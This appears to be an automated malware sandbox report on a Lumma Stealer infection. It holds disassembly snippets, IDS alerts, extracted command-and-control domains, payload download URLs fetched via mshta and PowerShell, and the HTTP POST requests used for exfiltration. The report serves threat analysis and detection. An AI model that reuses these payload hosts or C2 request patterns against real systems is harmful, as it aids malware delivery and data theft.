Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then push 00000000h	12_2_00429C2B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ecx], dx	12_2_004291DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	12_2_004291DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	12_2_004074F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	12_2_004074F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	12_2_0043ECA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 9C259492h	12_2_004385E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	12_2_004385E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-7D4F88C7h]	12_2_00417DEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	12_2_00409580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	12_2_00409580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp dword ptr [0044450Ch]	12_2_00418591
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [ebp-68h]	12_2_00428D93
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then xor edi, edi	12_2_0041759F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [0044473Ch]	12_2_0041C653
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ebp	12_2_00425E70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp dword ptr [004455F4h]	12_2_00425E30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	12_2_0043AEC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then xor byte ptr [esp+eax+17h], al	12_2_00408F50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], bl	12_2_00408F50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	12_2_0042A700
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	12_2_0040B70C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], al	12_2_0041BF14
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [ebx+edi+44h]	12_2_00419F30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+423C9D38h]	12_2_0041E7C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, word ptr [edx]	12_2_004197C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [edi], dx	12_2_004197C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [esi], cx	12_2_004197C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, ebx	12_2_0042DFE9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp ecx	12_2_0040BFFD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	12_2_0043EFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49823 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49823 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49837 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49825 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49825 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49866 -> 104.21.112.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: hushedocenahu.click
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat

Source: global traffic

HTTP traffic detected: GET /singl7.pst HTTP/1.1Host: dma.sportstalk-musiclover.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49823 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49825 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49837 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49843 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49860 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49831 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49854 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49866 -> 104.21.112.1:443

Source: global traffic	HTTP traffic detected: GET /singl7.mp4 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: scrutinycheck.cashConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: hushedocenahu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 48Host: hushedocenahu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LOQHJJY7E0F02RWXUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: hushedocenahu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=65U60J1U38User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8737Host: hushedocenahu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9PD5G4RIDGDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20396Host: hushedocenahu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RZOZ3PLVHXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1197Host: hushedocenahu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BWW3KGT6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570992Host: hushedocenahu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 83Host: hushedocenahu.click

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /singl7.mp4 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: scrutinycheck.cashConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /singl7.pst HTTP/1.1Host: dma.sportstalk-musiclover.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: scrutinycheck.cash
Source: global traffic	DNS traffic detected: DNS query: dma.sportstalk-musiclover.com
Source: global traffic	DNS traffic detected: DNS query: hushedocenahu.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: hushedocenahu.click

Source: svchost.exe, 00000003.00000002.3369206045.0000029796000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000003.00000003.1732763715.0000029795E08000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000003.00000003.1732763715.0000029795E08000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000003.00000003.1732763715.0000029795E08000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000003.00000003.1732763715.0000029795E3D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.3.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000004.00000002.1788739596.0000029766D1E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1764165134.00000297587FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1788739596.0000029766E54000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.2611936982.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1707001307.0000026C0A641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1764165134.0000029756CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2611936982.0000000005291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.2611936982.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.1707001307.0000026C0A68A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000000.00000002.1707001307.0000026C0A6AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1764165134.0000029756CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.2611936982.0000000005291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBdq
Source: powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1764165134.0000029757A75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2611936982.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dma.sportstalk-musiclover.com
Source: powershell.exe, 00000006.00000002.2608100083.0000000003365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dma.sportstalk-musiclover.com/singl7.pst
Source: svchost.exe, 00000003.00000003.1732763715.0000029795EB2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000003.00000003.1732763715.0000029795EB2000.00000004.00000800.00020000.00000000.sdmp, edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000006.00000002.2611936982.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1764165134.0000029757A75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000C.00000002.2804009352.00000000034AB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2800133767.0000000003447000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2803637158.00000000034A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/
Source: powershell.exe, 0000000C.00000002.2804009352.00000000034AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/api
Source: powershell.exe, 0000000C.00000002.2803637158.000000000349D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/api:6x
Source: powershell.exe, 0000000C.00000002.2804009352.00000000034AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/apiB=
Source: powershell.exe, 0000000C.00000002.2803637158.00000000034A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/apib
Source: powershell.exe, 0000000C.00000002.2804009352.00000000034AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/apid=:c
Source: powershell.exe, 0000000C.00000002.2800133767.0000000003438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/bm
Source: powershell.exe, 0000000C.00000002.2803637158.00000000034A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/bu
Source: powershell.exe, 0000000C.00000002.2804009352.00000000034AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/o
Source: powershell.exe, 0000000C.00000002.2803637158.00000000034A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click/pi
Source: powershell.exe, 0000000C.00000002.2800133767.0000000003423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click:443/api
Source: powershell.exe, 0000000C.00000002.2800133767.0000000003423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click:443/api5
Source: powershell.exe, 0000000C.00000002.2800133767.0000000003423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click:443/apiA
Source: powershell.exe, 0000000C.00000002.2800133767.0000000003423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hushedocenahu.click:443/apiK
Source: mshta.exe, 00000002.00000002.1822900003.000001FD98C02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1818296198.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1802308587.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000004.00000002.1788739596.0000029766D1E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1764165134.00000297587FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1788739596.0000029766E54000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2611936982.00000000062FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000003.00000003.1732763715.0000029795EB2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.3.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: mshta.exe, 00000002.00000002.1822900003.000001FD98C02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1818296198.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1802308587.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/P
Source: mshta.exe, 00000002.00000003.1813789160.000002059AF70000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822579001.000001FD98B50000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1818681385.000001FD98C32000.00000004.00000020.00020000.00000000.sdmp, 00000.ps1	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4
Source: mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4(O
Source: mshta.exe, 00000002.00000002.1823781557.000002059AD41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4...
Source: mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4.O
Source: mshta.exe, 00000002.00000002.1822579001.000001FD98B76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp40w&
Source: mshta.exe, 00000002.00000003.1812802151.000002059AF6D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813690985.000002059AF6E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813789160.000002059AF70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp430
Source: mshta.exe, 00000002.00000002.1825644443.000002059F075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4432=C:
Source: mshta.exe, 00000002.00000002.1822735275.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1803612223.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4:6
Source: mshta.exe, 00000002.00000003.1812802151.000002059AF6D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813690985.000002059AF6E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813789160.000002059AF70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4;
Source: mshta.exe, 00000002.00000002.1823159169.000001FD98D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4BROWSER_APP_y
Source: mshta.exe, 00000002.00000003.1818296198.000001FD98C2E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1804302516.000001FD98C27000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1823014158.000001FD98C33000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1802308587.000001FD98C26000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822579001.000001FD98B50000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1818681385.000001FD98C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4C:
Source: mshta.exe, 00000002.00000002.1822137418.000001FD98AF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4H
Source: mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4O
Source: mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4SSC:
Source: mshta.exe, 00000002.00000002.1822735275.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1803612223.000001FD98BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4Windows
Source: mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4ZO
Source: mshta.exe, 00000002.00000002.1825644443.000002059F075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4beLMEMP(
Source: mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4c
Source: mshta.exe, 00000002.00000003.1811274652.000002059AF65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4https://scrutinycheck.cash/singl7.mp4
Source: mshta.exe, 00000002.00000003.1812802151.000002059AF6D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813690985.000002059AF6E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813789160.000002059AF70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4https://scrutinycheck.cash/singl7.mp46
Source: mshta.exe, 00000002.00000003.1812802151.000002059AF6D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813690985.000002059AF6E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813789160.000002059AF70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4https://scrutinycheck.cash/singl7.mp4https://scrutinycheck.cash
Source: mshta.exe, 00000002.00000002.1824253687.000002059ADC1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1801686518.000002059ADBE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1813735544.000002059ADBE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1812901512.000002059ADBE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1814020931.000002059ADC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4iqenvwh
Source: mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4m
Source: mshta.exe, 00000002.00000003.1803612223.000001FD98B8C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1822735275.000001FD98B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/singl7.mp4o
Source: mshta.exe, 00000002.00000002.1822900003.000001FD98C02000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1818296198.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1802308587.000001FD98C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scrutinycheck.cash/t

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
